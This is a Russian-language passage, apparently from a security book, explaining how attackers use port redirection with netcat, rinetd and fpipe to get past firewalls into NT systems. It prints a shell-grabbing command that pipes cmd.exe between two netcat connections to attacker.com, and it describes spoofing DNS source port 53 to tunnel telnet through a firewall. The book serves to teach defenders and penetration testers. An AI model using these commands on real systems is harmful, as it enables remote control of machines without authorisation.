Перенаправление портов
Выше было рассмотрено несколько программ, которые можно использовать для удаленного управления из командной строки. Все эти средства обсуждались в контексте установки непосредственного удаленного соединения. Однако, что делать в той ситуации, когда брандмауэр блокирует прямой доступ к целевому компьютеру? Подобную преграду взломщики могут обойти с помощью перенаправления портов (port redirection). Этот вопрос подробно будет изложен в главе 14, однако сейчас мы познакомимся с некоторыми средствами и приемами, которые могут оказаться полезными для хакинга компьютеров под управлением системы NT.
Как только взломщики успешно справились с "главным стражем" безопасности — брандмауэром, — для передачи всех пакетов "желанной цели" они могут воспользоваться механизмом перенаправления портов. Важно оценить всю опасность подобной деятельности, поскольку в данном случае взломщики могут получить доступ к любому компьютеру, расположенному позади брандмауэра. В процессе перенаправления осуществляется прослушивание определенных портов и передача пакетов к заданной вторичной цели. Ниже будут рассмотрены некоторые приемы перенаправления портов, которые можно вручную осуществить с помощью утилит netcat, rinetd и fpipe.
Схема процесса перенаправления портов представлена на рис. 14.4 в главе 14.
Захват командной оболочки м помощью netcat
Если имеется возможность поместить утилиту netcat на целевой компьютер, расположенный позади брандмауэра, то через любой требуемый порт можно получить "в свое распоряжение" удаленную командную оболочку. Такую ситуацию мы называем "захватом оболочки", поскольку в этом случае на рабочем компьютере взломщика сосредоточиваются все функции оболочки удаленной системы. Вот пример команды, запущенной взломщиком из удаленной командной строки. nс attacker.com 80 | cmd.exe | nс attacker.com 25
Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25, и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов на/с компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 5.9 показан пример экрана хакерской системы: в верхнем окне содержатся входные команды, передаваемые через порт 80 (ipconfig), а в нижнем окне представлены результаты, полученные с узла-жертвы через порт 25.
Рис. 5.9. Используя утилиту netcat на компьютере взломщика и на целевом узле, можно захватить командную оболочку. Команды, введенные в верхнем окне на рисунке, выполняются на удаленной системе, а результаты отображаются в нижнем окне
Утилита rinetd
Реализация перенаправления портов с помощью трех настроенных вручную сеансов netcat может оказаться далеко не наилучшим способом. Для этого можно воспользоваться различными утилитами, специально предназначенными для перенаправления портов. Эти средства можно найти в Internet. Одной из наиболее мощных утилит является rinetd — сервер перенаправления Internet Томаса Боутела (Thomas Boutell), который можно найти по адресу http://www.boutell.com/rinetd/index.html. С ее помощью можно перенаправить TCP-соединения с одного IP-адреса и порта на другой. Утилита rinetd функционирует подобно datapipe (см. главу 14). Существует также версия, поддерживающая интерфейс Win32 (включая 2000), а также Linux. Утилиту rinetd очень легко использовать: достаточно просто создать конфигурационный файл, содержащий правила передачи пакетов, в следующем формате.
адрес_привязки порт_привязки адрес_соединения порт_соединения
Затем нужно запустить команду rinetd -с <имя_файла_настройки>. Как и утилита netcat, rinetd функционирует через неправильно настроенный брандмауэр.
Утилита fpipe
Утилита fpipe — средство передачи/перенаправления исходных пакетов TCP через заданный порт. Она разработана в компании Foundstone, Inc., к которой авторы этой книги имеют непосредственное отношение. Утилита fpipe позволяет создать поток TCP и дополнительно задать требуемый исходный порт. Ее удобно применять для тестового проникновения через брандмауэры, разрешающие прохождение определенных типов пакетов во внутреннюю сеть.
Работа утилиты fpipe основана на перенаправлении портов. Запустите ее, задав прослушиваемый порт сервера, порт назначения удаленного узла (порт, которого требуется достичь с внутренней стороны брандмауэра) и (дополнительно) номер требуемого локального исходного порта. После запуска утилита fpipe будет ожидать, пока клиент соединится с прослушиваемым портом. После этого будут установлено новое соединение с целевым компьютером и портом, заданным в качестве локального исходного порта. Таким образом будет активизирован замкнутый контур. После установки полного соединения утилита fpipe будет передавать все данные, полученные через входящее соединение, на удаленный порт назначения, расположенный позади брандмауэра, и возвращать их обратно системе-инициатору. Это аналогично установке нескольких сеансов netcat, однако утилита fpipe позволяет выполнить ту же задачу абсолютно прозрачно.
Рассмотрим использование утилиты fpipe для перенаправления данных из взломанной системы с запущенным сервером telnet, расположенной позади брандмауэра, на котором заблокирован порт 23 (telnet), однако открыт порт 53 (DNS), Как правило, подключиться к TCP-порту, используемому сервером telnet, напрямую нельзя. Однако при использовании утилиты fpipe и переправлении данных в порт TCP 53 эту задачу все же можно выполнить. На рис. 5.10 показано перенаправление данных с использованием утилиты fpipe, запущенной на целевом узле.
Простое соединение с портом 53 на этом узле позволяет "захватить" взломщику поток telnet.
Рис. 5.10. Утилита перенаправления fpipe, запущенная на удаленном узле
Самой примечательной особенностью утилиты fpipe является возможность задать исходный порт. В процессе тестового проникновения это зачастую необходимо для обхода брандмауэра или маршрутизатора, передающего лишь данные, предназначенные определенным портам (например, порту TCP 25, используемому почтовым сервером). Обычно клиентским соединениям TCP/IP назначаются исходные порты с большими номерами, которые брандмауэр, как правило, пропускает через фильтр. Однако тот же брандмауэр должен пропускать данные DNS (фактически, он это и делает). С помощью утилиты fpipe для потока данных можно принудительно задать определенный исходный порт, в данном случае порт DNS. С этого момента этот поток будет рассматриваться брандмауэром как данные "разрешенной" службы и, таким образом, будет пропускаться во внутреннюю сеть.
Пользователи должны знать, что если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIMEJHAIT и CLOSEJHAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных/удаленных адреса/порта IP, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.